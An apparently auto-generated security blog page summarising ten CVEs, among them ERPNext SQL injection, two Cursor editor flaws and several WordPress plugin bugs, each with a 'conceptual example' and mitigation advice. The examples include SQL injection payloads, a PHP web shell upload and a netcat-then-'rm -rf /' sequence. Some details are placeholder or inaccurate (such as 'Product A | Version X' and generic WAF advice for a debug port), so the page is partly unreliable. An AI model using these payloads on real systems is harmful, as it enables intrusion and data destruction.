Author: Ameeba

CVE-2025-52040: SQL Injection Vulnerability in Frappe ERPNext 15.57.5
Overview

The vulnerability CVE-2025-52040 is a serious concern for organizations using the Frappe ERPNext 15.57.5 system. This vulnerability is an SQL injection point in the get_blanket_orders() function located in erpnext/controllers/queries.py. An attacker can exploit this vulnerability to extract all information from the databases by injecting a malicious SQL query into the blanket_order_type parameter. Given the severity of this vulnerability, it is imperative that all affected organizations take immediate action to patch their systems or implement a temporary mitigation solution.

Vulnerability Summary

CVE ID: CVE-2025-52040
Severity: High – CVSS Score 8.2
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Frappe ERPNext | 15.57.5

How the Exploit Works

The exploit takes advantage of a lack of proper input sanitization in the get_blanket_orders() function of Frappe ERPNext 15.57.5. A malicious user can craft a SQL query and inject it into the blanket_order_type parameter. This injected SQL query is then executed by the system, potentially leading to unauthorized access and extraction of sensitive data from the system’s databases.

Conceptual Example Code

The following is a conceptual example of an HTTP request that exploits the vulnerability. Please note that this is a simplified representation and actual exploitation may involve more complex SQL queries.
```
POST /api/method/erpnext.controllers.queries.get_blanket_orders HTTP/1.1
Host: vulnerable-erp.example.com
Content-Type: application/json
{
"blanket_order_type": "'; DROP TABLE users; --"
}
```
In this example, the attacker uses an SQL injection attack known as the “DROP TABLE” command to delete the “users” table from the database.
Remember that this is just a hypothetical example. The actual SQL query used in an attack could be designed to extract, modify, or delete any kind of data in the database.

Recommended Mitigation

Users are strongly advised to apply the latest vendor patch to fix this vulnerability. In case the patch is not available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It’s essential to regularly update and patch your systems to minimize the risk of such vulnerabilities being exploited.
October 13, 2025
CVE-2025-10653: Unauthenticated Debug Port Vulnerability Leading to Potential System Compromise
Overview

The world of cybersecurity is no stranger to vulnerabilities. The most recent one that has caught the attention of experts is the CVE-2025-10653. This vulnerability exists because an unauthenticated debug port allows unauthorized access to the device file system. This can have major consequences, as it may potentially lead to a complete system compromise or a massive data leakage. This vulnerability affects a wide range of products and systems, causing substantial concern among businesses and individuals alike. Given its severity and potential for misuse, it is crucial for anyone in the cybersecurity field to fully understand the CVE-2025-10653 vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-10653
Severity: High (8.6/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Product A | Version X
Product B | Version Y

How the Exploit Works

The exploit takes advantage of an unauthenticated debug port that allows unauthorized access to the device file system. An attacker does not need any privileges nor user interaction to exploit this vulnerability. Instead, they simply need to connect to the debug port and gain access to the file system. With this access, they can potentially compromise the system or cause data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:
```
# Connect to the vulnerable device
nc target.example.com 12345
# Once connected, navigate to the file system
cd /
# Perform malicious actions
rm -rf /
```
This example demonstrates how an attacker might connect to a vulnerable device over the network, navigate to the root directory of the file system, and then perform a potentially destructive action such as deleting all files.
It’s important to understand that this is just a conceptual example and the actual exploit may vary based on the specific device, the attacker’s knowledge, and their intent.

Mitigation Guidance

To mitigate this vulnerability, we recommend applying the vendor patch as soon as it becomes available. In the meantime, you can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and potentially block suspicious activity, reducing the risk of exploitation. Keep in mind that these are only temporary solutions, and that the vulnerability will persist until the vendor patch is applied.
In conclusion, CVE-2025-10653 is a serious vulnerability that requires immediate attention. By understanding how the exploit works and implementing appropriate mitigation measures, you can help protect your systems and data against potential compromise.
October 13, 2025
CVE-2025-44014: Out-Of-Bounds Write Vulnerability in Qsync Central
Overview

CVE-2025-44014 is a severe vulnerability that affects Qsync Central, a popular file sync software. The vulnerability relates to an out-of-bounds write issue that could allow a remote attacker to modify or corrupt memory, leading to potential system compromise or data leakage. Given the severe nature of this vulnerability, it is critical that users and system administrators address this issue immediately to secure their systems and sensitive data.
The vulnerability is particularly concerning because it allows a remote attacker who has gained user access to take advantage of the flaw. This could have severe implications for businesses relying on Qsync Central, as the exploitation may lead to unauthorized access to sensitive data or system disruption, causing significant losses.

Vulnerability Summary

CVE ID: CVE-2025-44014
Severity: High; CVSS Score: 8.8
Attack Vector: Network
Privileges Required: User
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Qsync Central | Versions Prior to 5.0.0.1

How the Exploit Works

The vulnerability is caused by a flaw in the way Qsync Central handles certain types of data. This flaw allows an authenticated remote attacker to send specially crafted data packets to the server, leading to an out-of-bounds write. This can result in the overwriting of intended memory locations, potentially leading to arbitrary code execution, system crashes, or data corruption.

Conceptual Example Code

Below is a high-level conceptual example demonstrating how the vulnerability might be exploited. In this HTTP request, the “malicious_payload” represents the crafted data that causes the out-of-bounds write.
```
POST /qsync/vulnerable_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }
```
In conclusion, it is crucial for businesses and individuals using Qsync Central to update their software to version 5.0.0.1 or later to mitigate the risks associated with CVE-2025-44014. If updating is not immediately feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
October 13, 2025
CVE-2025-61592: Remote Code Execution Vulnerability in Cursor Code Editor
Overview

The CVE-2025-61592 vulnerability is a critical issue that impacts Cursor, a popular code editor utilized by programmers worldwide for AI development. This vulnerability became apparent in versions 1.7 and below, where project-specific CLI configurations could overrule global configurations in Cursor’s CLI. As a result, users running the CLI within a potentially harmful repository could be susceptible to Remote Code Execution (RCE). This issue is especially concerning as RCE vulnerabilities can lead to severe consequences, such as unauthorized access to sensitive data, system compromise, or even complete system control.

Vulnerability Summary

CVE ID: CVE-2025-61592
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Cursor | 1.7 and below

How the Exploit Works

The exploit takes advantage of the automatic loading of project-specific CLI configurations from the current working directory. This process overrides global configurations in Cursor’s CLI. In a malicious repository, an attacker can craft a permissive configuration that allows shell commands and injects commands via project-specific rules or other mechanisms. This combination makes the system susceptible to Remote Code Execution attacks.

Conceptual Example Code

Given the nature of the vulnerability, the attacker could employ a malicious JSON file to override CLI settings. The following is a conceptual example of a malicious .cursor/cli.json file:
```
{
"command": "echo 'malicious_command';"
}
```
This JSON file, when loaded by the Cursor CLI, would allow the execution of the ‘malicious_command’ due to the permissive configuration. It could lead to uncontrolled access to the system or data leakage.

Workarounds and Mitigation

Affected users are advised to apply the vendor patch (2025.09.17-25b418f) immediately, which addresses this issue. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures should be considered as short-term solutions, and the patch should be applied as soon as it is feasible to ensure system security.
October 13, 2025
CVE-2024-56804: Critical SQL Injection Vulnerability in Video Station
Overview

SQL injection vulnerabilities are a significant threat to the cybersecurity landscape, and they can have severe and far-reaching impacts. One such vulnerability has recently been identified in Video Station, a popular media management software. This vulnerability, denoted as CVE-2024-56804, allows unauthorized code execution if a remote attacker gains access to a user account. This vulnerability not only poses a threat to the software but also to any system that uses it. Given its potential for system compromise and data leakage, it is crucial to understand this vulnerability and take swift action.

Vulnerability Summary

CVE ID: CVE-2024-56804
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: User level
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Video Station | Versions before 5.8.4

How the Exploit Works

The exploit takes advantage of an SQL injection vulnerability in Video Station. A remote attacker who has gained a user account can manipulate the application’s database by inserting malicious SQL statements into an entry field for execution. This vulnerability allows the attacker to bypass the application’s security mechanisms and perform unauthorized operations such as altering, deleting, or retrieving data, and even executing arbitrary code, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:
```
POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin' OR '1'='1';-- &password=pass
```
In the above example, the attacker is trying to log in using a classic SQL injection technique. The malicious payload in the username field alters the SQL query to always return true, potentially allowing the attacker to bypass the login form and gain unauthorized access.

Recommendations for Mitigation

The vendor has already released a patch for this vulnerability in Video Station version 5.8.4 and later. Users are strongly advised to update to the latest version to mitigate this security issue. As a temporary mitigation, users can also deploy a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability. However, applying the vendor’s patch should be the top priority as it provides the most comprehensive solution.
October 12, 2025
CVE-2025-61591: Command Injection Vulnerability in Cursor Code Editor
Overview

In the world of programming, code editors play a crucial role. One such editor, Cursor, which is built specifically for AI programming, has been identified with a severe vulnerability (CVE-2025-61591) in versions 1.7 and below. This vulnerability, if exploited, could lead to system compromise or data leakage, posing significant security threats to organizations and individuals using the affected versions of Cursor. The exploit works when MCP uses OAuth authentication with an untrusted MCP server, leading to potential remote code execution and command injection.

Vulnerability Summary

CVE ID: CVE-2025-61591
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Cursor | 1.7 and below

How the Exploit Works

The exploit works when the Cursor code editor interacts with an untrusted MCP server using OAuth authentication. During this interaction, an attacker can impersonate a malicious MCP server and return crafted, maliciously injected commands. These commands could allow arbitrary code execution on the host by the agent, leading to a system compromise. The attacker could then run arbitrary commands with full user privileges, potentially leading to data leakage or further system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:
```
POST /mcp/oauth/token HTTP/1.1
Host: untrusted-mcp-server.com
Content-Type: application/json
{
"grant_type": "authorization_code",
"code": "AUTH_CODE",
"redirect_uri": "http://localhost:8080/callback",
"client_id": "CLIENT_ID",
"client_secret": "CLIENT_SECRET",
"commands": "{malicious_commands}"
}
```
In this example, the attacker impersonates the MCP server and sends a response containing malicious commands in the `commands` field. These commands could be crafted to exploit the command injection vulnerability in the Cursor code editor, leading to arbitrary code execution.

Mitigation Guidance

While the issue has no fixed release version yet, a patch (2025.09.17-25b418f) has been provided by the vendor. Users are strongly advised to apply this patch immediately to mitigate the risk. In case the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can help detect and block malicious traffic, thereby reducing the risk of exploitation. Users should also ensure only trusted MCP servers are used for OAuth authentication to avoid potential exploitation.
October 12, 2025
CVE-2025-9561: Critical File Upload Vulnerability in WordPress AP Background Plugin
Overview

A critical vulnerability has been identified within the AP Background Plugin for WordPress, affecting versions 3.8.1 to 3.8.2. This vulnerability allows authenticated attackers with Subscriber-level access and above to upload arbitrary files to the server of the affected site. The impact of this flaw could potentially lead to system compromise or data leakage, making it essential for all WordPress sites using this plugin to address this issue immediately.
The vulnerability identified as CVE-2025-9561, carries a significant CVSS Severity Score of 8.8, indicating its high risk. The flaw resides in the advParallaxBackAdminSaveSlider() handler and is due to missing authorization and insufficient file validation mechanisms. This post will explore this vulnerability in detail, from its working to mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-9561
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WordPress AP Background Plugin | 3.8.1 to 3.8.2

How the Exploit Works

The vulnerability exploits missing authorization and insufficient file validation within the advParallaxBackAdminSaveSlider() handler. It allows an authenticated attacker with Subscriber-level access to upload arbitrary files on the server of the affected site. The uploaded files could potentially contain malicious code that, once executed, could lead to remote code execution.

Conceptual Example Code

The following is a conceptual representation of how the vulnerability might be exploited:
```
POST /wp-admin/admin-ajax.php?action=advParallaxBackAdminSaveSlider HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, the attacker sends a POST request to the vulnerable endpoint, uploading a PHP file that allows remote command execution on the server. The server’s response to this request would indicate whether the exploit was successful.

Mitigation

Users are strongly advised to apply the vendor patch as soon as possible to mitigate this vulnerability. In the absence of an immediate patch, the use of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can serve as a temporary mitigation measure. These systems can help detect and block attempts to exploit this vulnerability.
October 12, 2025
CVE-2025-9213: Critical CSRF Vulnerability in TextBuilder Plugin for WordPress
Overview

The digital ecosystem is under constant threat from an array of cybersecurity vulnerabilities. One such vulnerability, identified as CVE-2025-9213, poses a significant risk to users of the TextBuilder plugin for WordPress. Affecting versions 1.0.0 to 1.1.1, the vulnerability exposes systems to Cross-Site Request Forgery (CSRF) attacks. The vulnerability resides in missing or incorrect nonce validation on the ‘handleToken’ function, which could be potentially exploited by unauthenticated attackers. As such, this vulnerability warrants immediate attention from site administrators, developers, and cybersecurity professionals.

Vulnerability Summary

CVE ID: CVE-2025-9213
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized changes to user’s authorization token leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

TextBuilder WordPress Plugin | 1.0.0 – 1.1.1

How the Exploit Works

The CSRF vulnerability in the TextBuilder plugin for WordPress arises due to a lack of proper nonce validation in the ‘handleToken’ function. This allows unauthenticated attackers to manipulate a user’s authorization token through a forged request. This can be achieved if the attacker can deceive a site administrator into performing an action, such as clicking a malicious link. Once the token is successfully updated, the attacker gains the ability to modify the user’s password and email address, potentially leading to full system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
POST /wp-admin/admin-ajax.php?action=tb_handle_token HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded
token=malicious_token&email=attacker@email.com&password=attacker_password
```
In the above example, the attacker sends a POST request to the vulnerable endpoint with the malicious token, and the new email and password. If the site administrator interacts with a deceiving element (like a link), the attacker can successfully update the user’s authorization token, thereafter changing the user’s password and email address to the attacker’s preference.

Mitigation Guidance

To mitigate this vulnerability, users are advised to update their TextBuilder plugin to the latest version as soon as possible. Until the update can be applied, using a web application firewall (WAF) or an intrusion detection system (IDS) as a temporary mitigation measure is recommended. As always, site administrators should exercise caution when clicking on any suspicious links.
October 12, 2025
CVE-2025-10582: Critical SQL Injection Vulnerability in WP Dispatcher Plugin for WordPress
Overview

In this post, we will delve into a critical vulnerability identified as CVE-2025-10582 that affects the WP Dispatcher plugin for WordPress. This flaw is a SQL injection vulnerability that exists in all versions up to, and including, 1.2.0. It is of significant concern as it can potentially compromise the entire system or lead to sensitive data leakage. The exploit of this vulnerability is possible for authenticated attackers who have Contributor-level access or higher.
The ramifications of this vulnerability are severe for any organization or individual using affected versions of the WP Dispatcher plugin. Given the immense popularity of WordPress as a content management system, this vulnerability could potentially affect a vast number of websites worldwide, making it a critical cybersecurity issue.

Vulnerability Summary

CVE ID: CVE-2025-10582
Severity: Critical – 8.8 (CVSS score)
Attack Vector: Network
Privileges Required: Low (Contributor-Level Access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WP Dispatcher Plugin for WordPress | Up to and including 1.2.0

How the Exploit Works

The WP Dispatcher Plugin for WordPress is vulnerable to a SQL injection attack due to insufficient escaping on a user-supplied parameter and lack of enough preparation on the existing SQL query. Specifically, the ‘id’ parameter is not properly sanitized before being used in a SQL query.
This vulnerability allows an authenticated attacker with Contributor-level access or above to append malicious SQL queries into already existing queries. The attacker can craft a SQL query that manipulates the existing SQL query to extract sensitive information from the database, leading to potential data leakage or even system compromise.

Conceptual Example Code

Here is a hypothetical example of how the vulnerability might be exploited:
```
POST /wp_dispatcher?id=1;DROP TABLE users; HTTP/1.1
Host: vulnerable.wordpress.com
Content-Type: application/x-www-form-urlencoded
user=admin&password=password
```
In this example, the attacker appends a malicious SQL command (`DROP TABLE users;`) to the ‘id’ parameter in the HTTP request. If the server processes this request, it could result in the deletion of the ‘users‘ table from the database, demonstrating the potential severity of this vulnerability.

How to Mitigate

Users are strongly advised to apply the vendor patch immediately upon availability. In the meantime, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. Regularly updating all WordPress plugins and core files to their latest versions can significantly reduce the risk of such vulnerabilities.
October 12, 2025
CVE-2025-10547: Vulnerability in Vigor Routers allowing RCE through Memory Corruption
Overview

In the evolving landscape of cybersecurity threats, a new vulnerability has surfaced that could potentially compromise your data and system integrity. This vulnerability, identified as CVE-2025-10547, is present in the HTTP CGI request arguments processing component of Vigor Routers running DrayOS. The vulnerability can allow an attacker to execute remote code on the appliance through memory corruption. Vigor Routers are widely used for their reliable performance and enhanced security features, which makes this vulnerability particularly threatening, affecting a large number of users worldwide. The severity of this vulnerability emphasizes the crucial need for effective cybersecurity measures.

Vulnerability Summary

CVE ID: CVE-2025-10547
Severity: High (CVSS score 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Vigor Router | DrayOS versions

How the Exploit Works

The exploit leverages an uninitialized variable in the HTTP CGI request arguments processing component of the Vigor Router. An attacker can craft a malicious HTTP request that can manipulate this variable, leading to memory corruption. Through this memory corruption, an attacker can execute arbitrary code remotely on the router. Such a successful exploit can provide the attacker with unauthorized access to the device, enabling them to compromise the system or cause data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that could be used to exploit the vulnerability.
```
POST /cgi-bin/process.cgi HTTP/1.1
Host: target-router.com
Content-Type: application/x-www-form-urlencoded
arg1=value1&arg2=value2&malicious_arg=uninitialized_variable
```
In this example, the `malicious_arg` is the uninitialized variable that the attacker can manipulate to cause memory corruption and execute remote code.

Mitigation

Users are strongly recommended to apply the vendor patch as soon as it is available to rectify this vulnerability. In the meanwhile, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. These measures can help detect and block malicious traffic that attempts to exploit this vulnerability. However, they are not a permanent solution and should be used in conjunction with other security practices.
October 12, 2025